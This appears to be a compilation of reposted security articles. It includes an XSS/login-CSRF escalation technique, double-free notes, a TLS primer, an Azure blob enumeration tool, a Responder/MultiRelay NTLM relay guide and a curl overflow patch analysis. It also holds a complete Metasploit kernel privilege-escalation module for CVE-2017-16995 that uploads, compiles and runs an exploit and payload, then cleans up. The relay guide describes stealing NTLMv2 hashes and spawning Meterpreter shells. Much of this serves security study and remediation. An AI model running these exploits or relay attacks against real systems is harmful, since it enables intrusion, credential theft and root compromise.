Escalating Low Severity Bugs To High Severity This time I am gonna share about some ways that I have learned & applied while participating in bounty programs and was able to escalate Low severity issues to higher severity. Let's Go To the Technical details straight: Note: You might also be able to use Window Object instead of Iframe in the following Cases I mention but it's better to use "Iframe" instead of "Window" to be stealthier and have least User-Interaction though it requires Clickjacking to be present too. Case #1. Self Stored-XSS and Login-Logout CSRF: Pre-Requisites: 1.) Victim must be loggedIn on the Application 2.) Some kind of sensitive information of the currently authenticated user should be present on some page(via Web API etc.) ATTACKER Having Self-Stored XSS in Profile Description: Attack Summary:- 1. Victim Visits Attacker's Page 2. Create 2 Iframes Frame #1(VICTIM) pointing to the sensitive info page (eg. CreditCards, API Keys, Secrets, password hashes, messages etc. which is only visible to the authenticated user) Frame #2(ATTACKER) pointing to Self-Stored XSS page 3. Perform the following on the Attacker Page: Once the Frame #1 is loaded completely a) Logout from Victim's account b) Login to Attacker's/your Account using the login CSRF In the Frame #2 c) Execute the Self-Stored XSS in your(attacker's) and Access the Frame #1 using top.frames[0].document.body.outerHTML since the Same Origin and steal it and send that info to your server Full article: https://www.noob.ninja/2018/07/escalating-low-severity-bugs-to-high.html

double-free-examples Basic code examples of conditions that still work and other nuances relating to double free's primarily in glibc, and to a lesser extent tcmalloc and jemalloc. These primarily revolve around one very basic concept: many allocators "optimize" the double free security checks to only ensure that we are not deallocating the most recently deallocated chunk. This leads to the behavior that if you can deallocate one chunk, then a different one, then the prior one a second time you can bypass the sanity checks. This pattern holds with tcmalloc (chrome/et cetera), jemalloc (firefox) and glibc (linux). Furthermore, the way of the world is moving towards things like vtable/vptr verification and control flow semantics to detect and prevent the corruption of function pointers which have pioneered the bypass to the stack cookie, and GCC now ships with vtable verification. In some instances, we have some rather neat conditions where you can bypass vptr verification and have 2 objects occupy the same memory, a sort of schrodinger's object condition. There is at present no real method for preventing related attacks, beyond ensuring that double free conditions do not occur. (atlanta, seattle - as the paper was moving along my work contract was suddenly canceled and relocated to SEA where I was never given time to work on anything until I punted with the expectation that BH would come back after editing and review. I'm probably the reason they have a board for that sort of thing now, just like I'm probably the reason the SF86 has that last page on it now.) Sursa: https://github.com/jnferguson/double-free-examples

SSL/TLS for dummies part 1 : Ciphersuite, Hashing,Encryption June 22, 2018 As a security enthusiast, I always fond of the working of SSL (TLS these days). It took me days to understand the very basic working of this complex protocol. But once you understand the underlying concepts and algorithm, the entire protocol would feel quite simple. I’ve learned a lot of things while learning the working of SSL. Encryption being the first thing. I started recollecting the cryptography stuffs learned from university. Those days, I was like meh while studying them. Now, I know why teachers fed me up with all the encryption stuff. I know how much cryptography makes my life easier. I wanted to share everything I learned here at my space. And I definitely hope this will be much useful to you. So let’s begin. History of SSL When talking about the history of SSL, one shouldn’t miss Mozilla Foundation. The first thing that comes to our mind while talking about Mozilla is their famous browser Firefox. According to various sources, Firefox is the most popular browser after Chrome and Safari. But Netscape was the great predecessor of Firefox and during the 90’s it was the most popular browser among internet surfers. Anyway, by the introduction of Internet Explorer by Microsoft, Netscape’s era came to an end and later they started the great Mozilla Foundation and it still grows. Netscape in 1994 introduced SSL for its Netscape Navigator browser. The primary objective was to prevent Man In The Middle attacks. Later, with increase in internet accessibility banks started to make use of internet for transactions. That time, security was a major concern and IETF(Internet Engineering Task Force), the people who standardize internet protocols, standardized SSL by making their own version. This was in 1999 and now the protocol is known as TLS(Transport Layer Security, the latest version being TLS 1.3. Few notes about cryptography First things first, before digging deep into the topic, we need to have a basic understanding on couple of things. Most important one is cryptography. You don’t need to be Cryptography expert to understand SSL. But a basic understanding is necessary. We will discuss the very basics here. Those who already know Asymmetric and Symmetric key encryption can skip this section and go to the next part. So cryptography deals with numbers and strings. Basically every digital thing in the entire universe are numbers. When I say numbers, its 0 & 1. You know what they are, binary. The images you see on screen, the music that you listen through your earphone, everything are binaries. But our ears and eyes will not understand binaries right? Only brain could understand that, and even if it could understand binaries, it can’t enjoy binaries. So we convert the binaries to human understandable formats such as mp3,jpg,etc. Let’s term the process as Encoding. It’s two way process and can be easily decoded back to its original form. Hashing Hashing is another cryptography technique in which a data once converted to some other form can never be recovered back. In Layman’s term, there is no process called de-hashing. There are many hash functions to do the job such as sha-512, md5 and so on. The sha-512 value of wst.space is, 83d98e97ec1efc3cb4d20f81a246bff06a1c145b7c06c481defed6ef31ce6ad78db3ecb36e7ce097966f019eab7bdc7ffa6b 3fb8c5226871667ae13a6728c63b You can verify this by going to some online hash creator website and typing wst.space. If the original value cannot be recovered, then where do we use this? Passwords! When you set up a password for your mobile or PC, a hash of your password is created and stored in a secure place. When you make a login attempt next time, the entered string is again hashed with the same algorithm (hash function) and the output is matched with the stored value. If it’s the same, you get logged in. Otherwise you are thrown out. Credits: wikimedia By applying hash to the password, we can ensure that an attacker will never get our password even if he steal the stored password file. The attacker will have the hash of the password. He can probably find a list of most commonly used passwords and apply sha-512 to each of it and compare it with the value in his hand. It is called the dictionary attack. But how long would he do this? If your password is random enough, do you think this method of cracking would work? We have discussed about session cookies in one of our blog posts. The value is session cookies are usually hashed. All the passwords in the databases of Facebook, Google and Amazon are hashed, or at least they are supposed to be hashed. Then there is Encryption Encryption lies in between hashing and encoding. Encoding is a two way process and should not be used to provide security. Encryption is also a two way process, but original data can be retrieved if and only if the encryption key is known. If you don’t know how encryption works, don’t worry, we will discuss the basics here. That would be enough to understand the basics of SSL. So, there are two types of Encryption namely Symmetric and Asymmetric encryption. Symmetric Key Encryption I am trying to keep things as simple as I could. So, let’s understand the symmetric encryption by means of a shift algorithm. This algorithm is used to encrypt alphabets by shifting the letters to either left or right. Let’s take a string CRYPTO and consider a number +3. Then, the encrypted format of CRYPTO will be FUBSWR. That means each letter is shifted to right by 3 places. Here, the word CRYPTO is called Plaintext, the output FUBSWR is called the Ciphertext, the value +3 is called the Encryption key (symmetric key) and the whole process is a cipher. This is one of the oldest and basic symmetric key encryption algorithm and its first usage was reported during the time of Julius Caesar. So, it was named after him and it is the famous Caesar Cipher. Anyone who knows the encryption key and can apply the reverse of Caesar’s algorithm and retrieve the original Plaintext. Hence it is called a Symmetric Encryption. Credits: Wikimedia Can we use symmetric cryptography with TLS? As you understand, this algorithm is pretty easy to crack since the possibilities are less. We can change the value of key from 1 to anything and iterate through the 26 letters one by one. Note that the value of key is limited to 26, provided we are encrypting only small case english alphabets. It’s a matter of milliseconds for our computers to Bruteforce this process. Nowadays, there are complex algorithms such as AES (Advanced Encryption Standard) and 3DES (Triple Data Encryption Algorithm). They are considered to be really really difficult to crack. This is the encryption technique used in SSL/TLS while sending and receiving data. But, the client and server needs to agree upon a key and exchange it before starting to encrypt the data, right? The initial step of exchanging the key will obviously be in plain text. What if the attacker captures the key while sharing it? Then there is no point in using it. So we need a secure mechanism to exchange the keys without an attacker actually seeing it. There comes the role of Asymmetric Key Encryption. Asymmetric Key Encryption We know that, in Symmetric encryption same key is used for both encryption and decryption. Once that key is stolen, all the data is gone. That’s a huge risk and we need more complex technique. In 1976, Whitfield Diffie and Martin Hellman first published the concept of Asymmetric encryption and the algorithm was known as Diffie–Hellman key exchange. Then in 1978, Ron Rivest, Adi Shamir and Leonard Adleman of MIT published the RSA algorithm. These can be considered as the foundation of Asymmetric cryptography. As compared to Symmetric encryption, in Asymmetric encryption, there will be two keys instead of one. One is called the Public key, and the other one is the Private key. Theoretically, during initiation we can generate the Public-Private key pair to our machine. Private key should be kept in a safe place and it should never be shared with anyone. Public key, as the name indicates, can be shared with anyone who wish to send encrypted text to you. Now, those who have your public key can encrypt the secret data with it. If the key pair were generated using RSA algorithm, then they should use the same algorithm while encrypting the data. Usually the algorithm will be specified in the public key. The encrypted data can only be decrypted with the private key which is owned by you. Can we use Asymmetric encryption for all the TLS Asymmetric encryption is also known as Public Key Infrastructure a.k.a PKI, reason is self explanatory. Anyway, as long as you keep the private key secure, the data is safe. Great! So, probably by now you will be thinking, why would we still use symmetric encryption in TLS? We have a lot secure PKI in place. Yes, agree, but it should be noted that security has to be dealt without affecting usability. Since PKI involves a double key architecture and the key length is usually large, the encryption-decryption overhead is very high. It takes more time and CPU usage as compared to symmetric key encryption. So, when sending and receiving data between client and server, the user will feel more wait time, and the browser will start to eat the CPU. So PKI is used only to exchange the symmetric key between the client and server. Thereafter symmetric key encryption comes into play and further data transmission makes use of this technique. Well, I know I am just beating around the bush here. Because I haven’t really jumped into the topic yet. Please keep the things we have discussed so far in mind and come back to this space. We are going deep from next blog post. Sursa: https://www.wst.space/ssl-part1-ciphersuite-hashing-encryption/

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', 'Description' => %q{ Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) which contains a vulnerability where it may improperly perform sign extension. This can be utilized to escalate privileges. The target system must be compiled with BPF support and must not have kernel.unprivileged_bpf_disabled set to 1. This module has been tested successfully on: Debian 9.0 kernel 4.9.0-3-amd64; Deepin 15.5 kernel 4.9.0-deepin13-amd64; ElementaryOS 0.4.1 kernel 4.8.0-52-generic; Fedora 25 kernel 4.8.6-300.fc25.x86_64; Fedora 26 kernel 4.11.8-300.fc26.x86_64; Fedora 27 kernel 4.13.9-300.fc27.x86_64; Gentoo 2.2 kernel 4.5.2-aufs-r; Linux Mint 17.3 kernel 4.4.0-89-generic; Linux Mint 18.0 kernel 4.8.0-58-generic; Linux Mint 18.3 kernel 4.13.0-16-generic; Mageia 6 kernel 4.9.35-desktop-1.mga6; Manjero 16.10 kernel 4.4.28-2-MANJARO; Solus 3 kernel 4.12.7-11.current; Ubuntu 14.04.1 kernel 4.4.0-89-generic; Ubuntu 16.04.2 kernel 4.8.0-45-generic; Ubuntu 16.04.3 kernel 4.10.0-28-generic; Ubuntu 17.04 kernel 4.10.0-19-generic; ZorinOS 12.1 kernel 4.8.0-39-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit 'vnik', # upstream44.c exploit 'rlarabee', # cve-2017-16995.c exploit 'h00die', # Metasploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Nov 12 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'get-rekt-linux-hardened.c' ], [ 'AKA', 'upstream44.c' ], [ 'BID', '102288' ], [ 'CVE', '2017-16995' ], [ 'EDB', '44298' ], [ 'EDB', '45010' ], [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" if unprivileged_bpf_disabled? vprint_error 'Unprivileged BPF loading is not permitted' return CheckCode::Safe end vprint_good 'Unprivileged BPF loading is permitted' release = kernel_release if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit ...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path} ..." rm_f executable_path rm_f payload_path end end Sursa: https://www.exploit-db.com/exploits/45058/

MicroBurst A collection of scripts for assessing Microsoft Azure security Invoke-EnumerateAzureBlobs.ps1 PS C:> Get-Help Invoke-EnumerateAzureBlobs NAME: Invoke-EnumerateAzureBlobs SYNOPSIS: PowerShell function for enumerating public Azure Blobs and Containers. SYNTAX: Invoke-EnumerateAzureBlobs [[-Base] ] [[-OutputFile] ] [[-Permutations] ] [[-Folders] ] [[-BingAPIKey] ] [] DESCRIPTION: The function will check for valid .blob.core.windows.net host names via DNS. If a BingAPIKey is supplied, a Bing search will be made for the base word under the .blob.core.windows.net site. After completing storage account enumeration, the function then checks for valid containers via the Azure REST API methods. If a valid container has public files, the function will list them out. -------------------------- EXAMPLE 1 -------------------------- PS C:\>Invoke-EnumerateAzureBlobs -Base secure Found Storage Account - secure.blob.core.windows.net Found Storage Account - testsecure.blob.core.windows.net Found Storage Account - securetest.blob.core.windows.net Found Storage Account - securedata.blob.core.windows.net Found Storage Account - securefiles.blob.core.windows.net Found Storage Account - securefilestorage.blob.core.windows.net Found Storage Account - securestorageaccount.blob.core.windows.net Found Storage Account - securesql.blob.core.windows.net Found Storage Account - hrsecure.blob.core.windows.net Found Storage Account - secureit.blob.core.windows.net Found Storage Account - secureimages.blob.core.windows.net Found Storage Account - securestorage.blob.core.windows.net Found Container - hrsecure.blob.core.windows.net/NETSPItest Public File Available: https://hrsecure.blob.core.windows.net/NETSPItest/SuperSecretFile.txt Found Container - secureimages.blob.core.windows.net/NETSPItest123 RELATED LINKS: https://blog.netspi.com/anonymously-enumerating-azure-file-resources/ Sursa: https://github.com/NetSPI/MicroBurst

May 3, 2017 Overview: Responder is a great tool that every pentester needs in their arsenal. If a client/target cannot resolve a name via DNS it will fall back to name resolution via LLMNR (introduced in Windows Vista) and NBT-NS. Now, assuming we have Responder running we will essentially say ‘yeah, this is me’ to all of the LLMNR and NBT-NS requests that we see, and then traffic will be directed to us. Great. In this brief overview we shall be touching on a couple of the common uses as well as new functionality recently introduced by @pythonresponder. Targeting specific host(s): If you want to target a specific IP/range of IPs, you can edit Responder.conf and change the RespondTo argument. This is extremely useful when you have a specific target in sight and don’t want to potentially cause network-wide disruption. Additionally, it is also possible to specify the NBT-NS/LLMNR name by altering the RespondToName argument, although this is something I have yet to fully experiment with. In the following screenshot we have limited attacks to the host 192.168.10.17. Listen only mode: You can use Responder in listen only mode, i.e. analyse, but don’t actively respond to any requests. This can be achieved using the -A parameter and again this is a useful feature to see how chatty the network is without actively targeting any hosts. Active attacks: In the following example the attacking IP address is 192.168.10.206 and we are targeting a single host 192.168.10.17 via SMB. This is a common scenario in which a user mistypes the name of a server, hence the DNS lookup fails and name resolution falls back to NBT-NS and LLMNR. From the above Wireshark output it’s possible to see that 192.168.10.17 sends a NBNS query to the broadcast address 192.168.255.255, and the attacking host 192.168.10.206 immediately replies stating that it is in fact file-share-123 and returns it’s own IP within the response. It is also possible to see within the Wireshark capture that immediately after the NBNS request/response the same process happens over LLMNR but using the registered multicast address of 224.0.0.252. The keen eyed readers will also see that this process is also performed over IPv6 and the Multicast address of FF02::1:3 is used (details also available from the above link). The outcome of this is that the victim now believes that we are indeed file-share-123 and attempts to establish communications over SMB (TCP 445). From here we can continue to steal the NTLMv2 hash for the affected user (in this instance a local user called default) for offline cracking. And this is the SMB negotiation viewed through Wireshark… There’s plenty more to play and experiment with in Responder, but for now we’re going to move onto some of the more recent features added to this project. Multi-relay attacks: This is one of the newer features that @pythonresponder introduced towards the end of 2016. Using this tool we can relay our NTLMv1/2 authentication to a specific target and then, during a successful attack, execute code. Before we get into the nitty gritty of this attack it should be stated that only privileged users are targeted by default (good reasoning behind this) and the target cannot have SMB signing in place. A nice script RunFinger.py has been packaged within the tools directory of Responder and this allows us to verify the latter on our target(s) before actively targeting any hosts (it will become clear why we are targeting 192.168.11.17 with RunFinger.py instead of 192.168.10.17 shortly). In preparation of this attack we need to disable the SMB and HTTP servers used by Responder otherwise we’ll get some conflicts between this and Multi-relay (example shown below). For this following example we’ll disable these specific services within the Responder.conf file by changing the relevant service to “Off”. Job done. Again, running Responder with default options it is possible to see that these two services are now disabled. We are now going to poison responses for the victim 192.168.10.17 (as in previous examples), but we are also now going to relay our session authentication to a 2nd host 192.168.11.17. The syntax for this tool is show below, where the IP is the address to which you want to relay authentication and hopefully obtain shell access: python MultiRelay.py -t 192.168.11.17 -u ALL In the following example the host is a default installation of Windows 10 and the victim user currently authenticated to 192.168.10.17 is a local administrator user named default. Within the below output it’s possible to see that this user is whitelisted (we specified -u ALL as a parameter), but access to the relayed host 192.168.11.17 is denied. Multi-relay is doing us a favour here and doesn’t continue to attempt to authenticate to the host which could potentially lock accounts out very quickly. Nice touch. Spoiler; both 192.168.10.17 and 192.168.11.17 have the same account/credentials configured. Viewing this in Wireshark reveals the following (heavily condensed view). So we have an administrative user (who actually has valid credentials on the host), but it’s not the default administrator account with RID 500. Let’s run the attack again, but this time we’ll target the local administrator account with RID 500. Ah, success! So we have successfully relayed authentication for the default RID 500 from the victim 192.168.10.17 and gained shell access on 192.168.11.17 as both hosts use the same local administrator account credentials. It should also be mentioned that both are domain members and not standalone workgroup based systems. The following Wireshark output shows only the smb traffic involved within this initial relay communication where we can clearly see the relay route 192.168.10.17 (poisoned victim) > 192.168.10.206 (attacker) > 192.168.11.17 (relay target). Multi-relay functionality: This is where Multi-relay now comes into its own. At the end of March this year @pythonresponder alongside @gentilkiwi added Mimikatz integration (amongst a few other fun tools) that makes obtaining credentials/hashes a breeze. Let’s experiment with these; we currently have a Multi-relay shell on 192.168.11.17 and we can easily invoke standard Mimikatz functions by using the mimi command (or mimi32 if we’re targeting a 32-bit host). Other useful functionality includes the super quick SMB scanner that can be used to find other potential targets within the network. A example of this is shown in the following screenshot from which a /16 range was supplied (our example network is a 192.168.0.0/16 with each 192.168.X.0/24 range having identical systems for student lab work). Let’s play with one last feature of Multi-relay and use this tool to spawn every pentesters favourite shell, Meterpreter. Firstly we’ll need to configure an appropriate listener in msf and for this example we will be using exploit/multi/script/web_delivery. Without going into specific detail about this exploit, this will be hosted on our attacking system 192.168.10.206, some basic options have been set and PowerShell has been configured as the target. Returning to the Multi-relay shell we can now run our favourite IEX command and hopefully pop some more shells. Notice that we’re not expecting any output here so the “something went wrong…” output can generally be ignored in this specific case. Returning to the msf web_delivery exploit we see some action and once the shell has landed we can use built-in Meterpreter tricks and/or post modules/functionality from within the msf framework as desired. Prevention & remediation activities: To tighten the security of your Windows systems the following tweaks can be made. Responder Disable LLMNR via group policy Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled Disable NBT-NS This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under “NetBIOS setting” select Disable NetBIOS over TCP/IP Alternatively this task can be accomplished through modifying the registry by navigating to the following key and changing the value to 2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\{$InterfaceID}\NetbiosOptions Multi-relay Enable SMB signing via group policy More details of SMB signing and the various values that can be defined can be found within the following links (a couple selected from a vast sea of information available from a quick Google search). It goes without saying that configurations will need to be thoroughly tested to ensure communication is unaffected and in a secure state. Sursa: https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/

Yesterday curl released a security advisory for a vulnerability reported by Alex Nichols. The vulnerable code is in lib/curl_ntlm_core.c of libcurl and specifically in Curl_ntlm_core_mk_ntlmv2_hash() function. Below you see the vulnerable function. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* This creates the NTLMv2 hash by using NTLM hash as the key and Unicode * (uppercase UserName + Domain) as the data */ CURLcode Curl_ntlm_core_mk_ntlmv2_hash(const char *user, size_t userlen, const char *domain, size_t domlen, unsigned char *ntlmhash, unsigned char *ntlmv2hash) { /* Unicode representation */ size_t identity_len = (userlen + domlen) * 2; unsigned char *identity = malloc(identity_len); CURLcode result = CURLE_OK; if(!identity) return CURLE_OUT_OF_MEMORY; ascii_uppercase_to_unicode_le(identity, user, userlen); ascii_to_unicode_le(identity + (userlen << 1), domain, domlen); result = Curl_hmac_md5(ntlmhash, 16, identity, curlx_uztoui(identity_len), ntlmv2hash); free(identity); return result; } The “identity_len” is calculating the sum of the username and password lengths, and multiplies the result by two. Then, the result is used to allocate a heap buffer via malloc() and the subsequent calls use the newly allocated “identity” heap buffer. However, if the username and password length is larger than 2GB on architectures were “size_t” data type is 32-bit the “(userlen + domlen) * 2”, it will result in an integer overflow which will leads in a tiny buffer being allocated via malloc() and resulting in a heap based buffer overflow in the subsequent calls. Below you can see how Daniel Stenberg patched lib/curl_ntlm_core.c to fix this vulnerability. First, a new pre-processor definition was added to ensure that the appropriate (per architecture) maximum value for “size_t” data type is set to the “SIZE_T_MAX” constant. 1 2 3 4 5 6 7 8 #ifndef SIZE_T_MAX /* some limits.h headers have this defined, some don't */ #if defined(SIZEOF_SIZE_T) && (SIZEOF_SIZE_T > 4) #define SIZE_T_MAX 18446744073709551615U #else #define SIZE_T_MAX 4294967295U #endif #endif And as expected, this new constant is used in Curl_ntlm_core_mk_ntlmv2_hash() function to ensure that the length calculation will not result in an integer overflow. In case it exceeds this limit the code will return “CURLE_OUT_OF_MEMORY” error code. You can see the diff below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* Unicode representation */ - size_t identity_len = (userlen + domlen) * 2; - unsigned char *identity = malloc(identity_len); + size_t identity_len; + unsigned char *identity; CURLcode result = CURLE_OK; + /* we do the length checks below separately to avoid integer overflow risk + on extreme data lengths */ + if((userlen > SIZE_T_MAX/2) || + (domlen > SIZE_T_MAX/2) || + ((userlen + domlen) > SIZE_T_MAX/2)) + return CURLE_OUT_OF_MEMORY; + + identity_len = (userlen + domlen) * 2; + identity = malloc(identity_len); + if(!identity) Sursa: https://xorl.wordpress.com/2017/11/30/cve-2017-8816-curl-ntlm-authentication-buffer-overflow/